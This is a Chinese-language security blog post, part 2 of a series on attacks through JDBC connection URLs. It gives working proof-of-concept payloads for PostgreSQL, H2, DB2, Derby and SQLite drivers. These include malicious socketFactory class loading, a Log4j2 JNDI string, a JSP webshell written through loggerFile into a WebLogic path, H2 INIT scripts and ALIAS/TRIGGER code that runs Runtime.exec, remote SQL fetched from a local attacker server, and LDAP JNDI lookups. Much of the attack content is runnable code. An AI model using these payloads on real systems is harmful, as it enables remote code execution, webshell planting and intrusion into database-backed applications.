JAVA_JDBC_PART2
Mysql
PostgreSQL
postgresql驱动的版本号比较跳跃,从9.4.x之后直接跳到了42.0.x。
在postgresql 42.3.2、42.2.25中修复了漏洞CVE-2022-21724.
还有相关pg的洞在官网中都能看到,甚至会给poc
socketFactory / socketFactoryArg
官网中对其描述
socketFactory在pg建立连接时,指定SSLSocket工厂类,并进行初始化。
socketFactoryArg 为该工程类所需要的参数
在Spring环境下,为实现IOC功能
- org.springframework.context.support.ClassPathXmlApplicationContext
- org.springframework.context.support.FileSystemXmlApplicationContext
会从加载配置文件,通过反射实现类的实例化。
检测socketFactory不为空时,初始化指定的工厂类。
反射,获取参数为String的构造方法,初始化
refresh方法对配置文件所指的对象进行实例化
修复方法为,对类做了限定,必须是SocketFactory的子类
sslfamctory / sslfactoryarg
与socketFactory大致相同,但需要在连接后返回内容以S
开头,才会转为ssl连接,进而加载恶意类.
注意参数是小写
weblogic环境
- com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
loggerLevel / loggerFile
顾名思义,记录连接日志用的
jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log
jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log
Apache Log4j2 日志注入
注入Apache Log4j2的payload在JDBC URL里达到日志污染的目的,当Log4j2组件读取日志时,便会触发payload
jdbc:postgresql://localhost:5432/${jndi:ldap://127.0.0.1:1389/eajmgl}?loggerLevel=TRACE&loggerFile=pgjdbc.log
Weblogic webshell
weblogic环境下可写入一句话木马,其他环境视情况而定
jdbc:postgresql://127.0.0.1:5432/testdb?<%Runtime.getRuntime().exec("open -a calculator")};%>=1&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp
H2
H2是一个JAVA语言编写的嵌入式数据库,它不受平台限制同时H2提供了一个十分方便的web控制台,用于操作和管理数据库内容.
在其连接参数中有一个选项可指定在连接时执行的SQL语句,(想起了在PHP中也有类似的参数)
h2可以让用户自定义函数,那我们就可以创建一个后门,让客户端加载来执行。
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';
CALL EXEC ('calc')
jdbc:h2:mem:teStdb;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
不出网环境利用
即源码编译器是支持三种代码的
在Groovy中存在一种注解ASTTest,用来在编译时进行代码检查,这里可以利用特性来进行代码执行,但需要存在groovy的依赖
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Connection connection = DriverManager.getConnection(url);
System.out.println(groovy);
而JS编译器在编译时,不仅会编译还会通过eval执行一次,总结来说js效果更好,限制更少
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculat
or\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON
INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
这里在复现时没有成功执行,具体原因和解决方法见issue
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")";
String url = "jdbc:h2:mem:test;OLD_INFORMATION_SCHEMA=TRUE;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();
DB2
clientRerouteServerListJNDINameIdentifies
参数可进行jndi注入
需要先进行连接,懒得建了,略
public static void main(String[] args) throws Exception {
Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;");
}
ModeShape
ModeShape是java标准apiJCR
的实现
JCR (Java Content Repository) 是一个 Java 平台上的标准 API,旨在为内容存储和管理提供统一的接口。它定义了一种用于存储、检索和管理结构化和非结构化内容的规范。JCR 使得 Java 应用程序可以以标准化的方式访问和操作内容库(Content Repository),不依赖于特定的实现或存储后端。
JCR 规范由 JSR 170 和后来的 JSR 283 定义,后者是 JCR 2.0 的版本。JCR 主要用于内容管理系统(CMS)、文档管理、企业内容管理(ECM)等场景。
<dependency>
<groupId>org.modeshape</groupId>
<artifactId>modeshape-jdbc</artifactId>
<version>5.4.1.Final</version>
</dependency>
Apache Derby
类似H2,使用java语言编写,支持嵌入。官网
在主从复制时,Derby master会从Derby Slave服务器读取数据流,在master进行反序列化操作,相关参数为
startMaster
和slaveHost
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.17.1.0</version>
<scope>test</scope>
</dependency>
Master
public class derbyAttack {
public static void main(String[] args) throws Exception {
DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=127.0.0.1");
}
}
直接跑payload会报错,先创建一个数据库,用到另一个参数create=true
另外注意java版本与derby版本的对应关系
SQLite
SQLite JDBC文档
SQLite驱动在url以:resource:
开头时,会读取指定地址的资源文件,造成一个ssrf漏洞
public class sqLiteAttack {
public static void main(String[] args) throws Exception {
Class.forName("org.sqlite.JDBC");
DriverManager.getConnection("jdbc:sqlite::resource:http://127.0.0.1:8000/poc.sql");
}
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
前面是说通过CREATE VIEW
劫持查询,在load_extension能用的情况下就可以劫持select
语句加载恶意so文件,后面讲到内存损坏的一些东西就看不太懂了。
参考
Make JDBC Attacks Brilliant Again
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)